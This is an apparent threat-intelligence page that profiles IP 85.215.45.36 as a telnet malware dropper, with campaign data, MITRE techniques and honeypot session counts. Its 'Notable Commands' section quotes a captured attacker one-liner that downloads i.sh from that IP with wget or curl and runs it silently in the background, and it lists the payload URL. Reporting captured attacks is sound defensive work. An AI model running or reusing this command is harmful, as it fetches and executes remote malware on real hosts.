IntrusionLabs IntrusionLabs
← Back to feed

85.215.45.36

TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
ip85-215-45-36.pbiaas.com (pbiaas.com) ✓ FCrDNS
Threat Confidence
47%
Assessment
Malware dropper: logs in and downloads payloads
  • Downloaded 5 files and ran 5 commands on the host.
  • Part of a 5-IP campaign from the same network, active in the same window.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇩🇪 DE
ASN
AS8560 · IONOS SE
Cloud Provider
—
Total Events
35
Average by volume
Agent Count
1
First / Last Seen
2026-10-17 21:32 — 2026-10-17 21:34
Attack Types
telnet:malware
MITRE ATT&CK Techniques
Initial Access
T1078
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
AS8560 IONOS SE ASN Active medium 🇬🇧 GB
5 IPs 13733 events
ssh:bruteforcessh:connectionssh:malwaretelnet:malware
2026-02-27 — ongoing · 5 IPs from the same network (IONOS SE, AS8560) were active during overlapping time periods. Temporal correlation across …
Session Forensics
malware_dropper ×5
Sessions
5 (5 with login)
Avg Depth Score
1.0
Commands Executed
5
Files Downloaded
5
Notable Commands
  • cd /tmp;wget -q http://85.215.45.36:80/i.sh -O .i 2>/dev/null||curl -sf http://85.215.45.36:80/i.sh -o .i 2>/dev/null;nohup sh .i </dev/null >/dev/null 2>&1 & disown 2>/dev/null
Download URLs
  • http://85.215.45.36:80/i.sh
Evidence Timeline
Malware Dropper c00401b30f31 greencloud_phx_01 · 2026-10-17 21:34
1 1 1 100%
Loading events...
Malware Dropper b46fd60733e4 greencloud_phx_01 · 2026-10-17 21:34
1 1 1 100%
Loading events...
Malware Dropper 05d899ca5780 greencloud_phx_01 · 2026-10-17 21:34
1 1 1 100%
Loading events...
Malware Dropper 5c3281b4e489 greencloud_phx_01 · 2026-10-17 21:33
1 1 1 100%
Loading events...
Malware Dropper 27f4f1aec639 greencloud_phx_01 · 2026-10-17 21:32
1 1 1 100%
Loading events...